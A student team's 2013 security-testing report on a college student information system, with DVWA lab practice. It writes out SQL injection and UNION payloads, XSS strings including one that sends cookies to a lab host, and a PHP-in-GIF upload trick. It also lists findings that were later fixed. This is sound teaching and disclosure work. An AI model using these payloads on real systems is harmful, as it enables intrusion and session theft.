Security

This is a final documentation about **"Security Testing of Web Application"** during Intensive Programme "**Deploying IT Infrastructure Solutions**", which was held during **24.03.2013 - 06.04.2013** in Estonia, Tallinn, at **Estonian Information Technology College** (IT College). This document is a part of our team documentation what can be found in IT College Wiki (https://wiki.itcollege.ee/index.php/Security).

Table of contents

Team members

Sten Aus, Estonian Information Technology College
Matis Palm, Estonian Information Technology College
Sandra Suviste, Estonian Information Technology College
Markus Rintamäki, Vaasa University of Applied Sciences
Tomas Lepistö, Vaasa University of Applied Sciences
Mika Salmela, Vaasa University of Applied Sciences
Kęstutis Tautvydas, Vilnius University of Applied Sciences
Jurij Lukjančikov, Vilnius University of Applied Sciences

First threat

If you modify student ID in agenda URL, you will see other students' exam plan. You can not see their name, but if you contact this to a schedule, then you will get a name also.
Update: Schedule module is now fixed (updated to new module), thus one cannot see other student's schedule (if not logged in). Seeing what exams other student needs to retake is violating Data Protection Law, as exam grades are student's personal information.

Available user accounts

Removed due to security reasons.

Tools available us to use

Backtrack

Download: http://elab.itcollege.ee:8000/BT5R2.ova
type startx to start graphical user interface

Kali Linux

Kali is the new Backtrack.
Download: http://elab.itcollege.ee:8000/kali-64bit.ova

Damn Vulnerable Web Application (DVWA)

Download: http://elab.itcollege.ee:8000/security_team.ova

Install process

First: http://192.168.56.200/dvwa/setup.php
Push "Install database"

login http://192.168.56.200

In order to get DVWA running correctly, you will have to do this in the Ubuntu machine
Everything you will have to type is without quotes!

Open Terminal, type "ssh student@192.168.56.200"
type user password
type "cd /var/www"
type "sudo chown www-data:www-data -R dvwa/"
type user password

Testing vulnerabilities in DVWA and demo

NB! CHANGE SECURITY TO LOW

Brute force

Will not work in SIS, because when system detects it, it will delay your login time.

SQL Injection

Input

If there is a POST / GET input on the HTML page then there is a possibility that content of the input is not validated and it is directly inserted to SQL command:
For example: We have a GET input (to search for a user with ID, username or whatever). And the SQL sentence is like this
SELECT * FROM table_name WHERE ID = 'something in between here';
And content of the input is inserted “something in between here”.

> *If you use GET - data sent to server will be sent over*
> *if you use POST - data sent to server will be sent in HTTP headers (use proxy to get and modify them).*

Example: 1' or '1’ = '1
This echos all the information in this database (for example all users).

Union

You can use UNION to get information from other tables. UNION combines two or more SELECT sentences into one.
Restrictions to UNION

- Same number of columns. (one SELECT with two columns, other SELECT has to be with two columns)
- If there is a ORDER BY, you cannot use UNION (for example SELECT * FROM USERS **ORDER BY** firstname ASC)

# comment mark - leaves rest of the line out.
-- also comment marks. **At least one character (this can be space as well) needs to be after comment marks** -- a
// will not work (for example // is used for comments in PHP, javascript)
You can do union select over tables where you have access.

Example `1' union select 1,2; # --`

You can use information_schema: columns and tables, desc_keyw (information_schema is table in mysql where there are all information about all the tables :))
type to Terminal mysql -u root -p
password:
show databases;
use information_schema;
show tables;
show desc;

To get all the tables in database

```
1' union select TABLE_NAME,TABLE_SCHEMA from
information_schema.tables; # --
```

To get all the columns in the tables

```
1' union select TABLE_NAME,COLUMN_NAME from
information_schema.columns; # --
```

Do all users need access to information_schema? - Basically yes. You can't restrict this access. Some information is needed to access database functionality from information_schema

Create a table
http://www.thisislegal.com/tutorials/3
http://en.wikipedia.org/wiki/SQL_injection
http://www.unixwiz.net/techtips/sql-injection.html
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://www.tutorialspoint.com/sql/sql-create-table-using-tables.htm
a'; CREATE TABLE `hello`; --

SQL Injection (Blind)
Differences from regular SQL injection that no error messages are displayed. You don't know what is your query result.

You can use mysql benchmark application
http://dev.mysql.com/doc/refman/5.0/en/information-functions.html#function_benchmark
It may be used to time how quickly MySQL processes the expression. The result value is always 0.

Try it in your computer before to know how much time it would take approximately. If server displays this page quickly - you have something wrong (but no errors are displayed). But if it takes time, then you have your number of columns and you can do "bad things".

```
1' union select BENCHMARK(100000000, ENCODE('hello', 'goodbye')),1; #
```

--

XSS reflected

You type something to the input and everything is reflected back to the user. It works more than just inputs. If something is reflected back to the user, check and try to modify string what is reflected.
Type simple HTML (<hr /> <br /> for example), if it is rendered, then this form is opened to XSS reflected.
Won’t work in modern browsers (as security reasons, can be overridden for test purposes).
For example type: `<script>window.alert(“Bad things will happen soon!”);</script>` and push Submit!
Modern browsers will cut away javascript because they want to protect you.

You can change how you write javascript - for example type JaVaScRiPt, or use HEX or use UTF-8 characters. Chromium browser will cut them away, but you can try them in other browsers. For older browsers there is no need to use this, because there is no check.

XSS stored

Information is not sent to the user directly, but it’s stored in database. It is executed for every user who opens this page.
For example

```
<script>window.alert(document.cookie);</script>
```

If there is a limit on textbox (characters how many you can write), then build your XSS in text editor. Then use tamperdata (plugin) to modify the size of the input.
Start tamper. Make a post to the imaginary “Guestbook”. Then press “Tamper” and replace txtMessage with your bad script (which has unlimited characters).

```
<script>var a='<img
src="http://192.168.56.101/'%2Bdocument.cookie%2B'"
/>;document.write(a);</script>
```

If something goes terribly wrong in DVWA
Then you can reset database from terminal (hard way) or from browser - just go to Setup section in DVWA (easy way).

Testing Academician (Lecturer) role

Schedule

You can add consultation times for other teachers, but it doesn’t show up in their information.
When the event timing is colliding with some other events in the classroom, we get an error.
Also this happens sometimes when the room is not full.
Error code:

```
Notice: Undefined index: user_firstname in
/var/www/ois/code/abstract/application/models/Schedule/EventParserAbst
```

```
ract.php on line 201
```

Trying to access reports: Unexpected exception, sorry! Error report is sent to developers.
(Possibly some bug, not a security threat.)

Picture upload

As lecturer can upload / edit his/her profile picture, this was a suspicious area.
Trying to upload a picture with .php code inside of it:
Some reading material:
http://stackoverflow.com/questions/3499173/my-php-site-was-hacked-by-codes-uploaded-as-image
http://birdhouse.org/blog/2007/06/19/php-inside-image-files/
http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/

Idea of the test was to download a picture with .gif extension. Size of the picture was 100x100 px. Addition to that a .php file was created with following code.

```
<?php echo "<script type='text/javascript'>alert('Really annoying
pop-up!');</script>"; ?>
```

PHP code can be embedded into picture very easily.

```
cat my.gif my.php >> evil.gif
php evil.gif
```

Then we created a file called test.gif using the instructions and uploaded that to SIS. File was uploaded successfully, but no action was performed. That means maybe test was performed with mistakes (as test failed in DVWA as well), or the SIS is sanitised to this kind of attack.

Uploading course material

Tested with Ubuntu and Firefox 19.0.2
You are able to upload .php file, for example, but it does not show, it automatically lets you open it with text editor or save to your computer.
Summary box:

- PHP code was deleted automatically (everything) ? phpinfo();?
- Javascript. <script></script> was removed, everything in between stayed
- **Maybe it's the new fancy browser who removes it? Can we check it somehow? Backtrack has 14.0 Firefox, if you use some scripts here, write them here too :)**

Opening file will not work if you are not logged in - that's OK.
try changing link of study material from https to http

Automated tools - Security test result

Here we will discuss about the automated tools and put up our results. Also we discuss about the results.

Acunetix Web Vulnerability Scanner

For Windows platform only.
Download program: *[link removed due security reasons, you can find it from Google or Acunetix homepage]*
Kęstutis did a scan. Scan results are not available as scan was performed without cookies. Tool pointed out some fields and forms, which we analysed.
Web Vulnerability Scanner manual: *[link removed due security reasons, you can find it from Google or Acunetix homepage]*

Subgraph Vega
*For Windows, OS X and Linux. **Intel based computers only.***
Download program here. *(32 bit is also available from Subgraph homepage.* :))
- Mac OS X 64-bit Intel
- Linux GTK 64-bit Intel
- Microsoft Windows 64-bit Intel

Scan was completed, but nothing special was pointed out.

More to read
http://pentestlab.org/10-vulnerable-web-applications-you-can-play-with/

Testing Student role

Declaration
OS: Win 7, 64-bit; Browser: Firefox 19.0.2

SQL injection
1. Tried changing student id: original 1405, new 1404 > no access
2. Tried 1404+1 > no access, ignored +1
3. Tried 1404%2B1 > no access, ignored %2B1
4. Tried 1406-1 > no access, ignored -1
5. Tried 14||05 > no access
6. Tried 1405' > no change

Tried SQL InjectMe on the form, no failures, no warnings
Conclusion: No SQL injection forms found in declaration part.

Some more tests and remarks

Live data
Live data (week old or so) is being used in development environment. Live data should not be used (as all students grades, schedules, data etc.) in development process. It should be mixed and definitely false data. Live data should only be in live environment and maybe in local machine which is not connected to internet and is used for testing purposes only.

HTTP/HTTPS
We tested to change HTTPS protocol to HTTP. As SIS uses HTTPS protocol, it is necessary

that HTTP connections are forbidden. All connections what we tried were automatically redirected to secure protocol.

BEAST attack

We found out that SIS is vulnerable to BEAST attack. As we do not have enough resources to perform BEAST attack, we did not focus on it more. It could be a threat in the future and something should be done with it. But as SIS gets a grade B in testing, that is a good result. For reference see link
https://www.ssllabs.com/ssltest/analyze.html?d=https%3A%2F%2Fitcollege.ois.ee

Apache version

Apache version used in SIS is 2.2.14, but the latest version is 2.4.4, maybe should consider upgrading, if possible.

Form token

Every form what we had found (sending message, changing user data) had a special token, which was generated for specific user.
As we have found out, this hash was 40 characters long (suspected to be SHA 1 hash) and it did not change for one user. Also, it is not related to user password (as we changed test user's password and the token remained the same). That means we just need "few" more days and we could find out how this hash was generated.
When form token does not change, that means we need just one XSS hole in the whole system and we can do a lot of bad for example uploading JS file to SIS server and executing Javascript commands. That means Same Origin Policy requirement is filled, so Javascript functions get executed and lot of bad things can happen (for upload reference see APEL chapter).
Suggestion is that this form token should change every time a form is displayed or when user makes successful login. Also it should not be same token for every form.
Our test was to change user personal email so we could ask the SIS to send us the "lost my password" email to our email. Demo was made also in our final presentation. Videolink to that presentation can be found in IT College Wiki.

APEL aka VÕTA application

English - Accreditation of Prior and Experiential Learning
Estonian - Varasemate Õpingute ja Töökogemuse Arvestamine

Uploading materials to application was not limited. Uploaded file is not rendered to user (it only lets you to download the file), but as every file format upload is supported, this should be fixed. For example, we uploaded javascript file (extension .js) to VÕTA application. Then we created HTML page and included this URL to script. As we executed the web page, Javascript file was included, and everything in that code was working.

XSS holes were not found, as every input value was escaped before sending to server side.

Personal Input of participants

Can be found in IT College Wiki (https://wiki.itcollege.ee/index.php/Security#Personal_input).

Conclusion

As we made cooperation with SIS developers all security holes we have found were fixed in a blink of an eye (or in a day :)), which means our testing was successful.
We think that SIS is now a more secure system than it was two weeks ago (when the IP started). Also, we tested that last year's problems were fixed as well.
We suggest to continue testing as SIS is a product in development. As soon as new module is installed to development system, whole system's security is in threat. That's why it is mandatory to complete these kind of tests from time to time.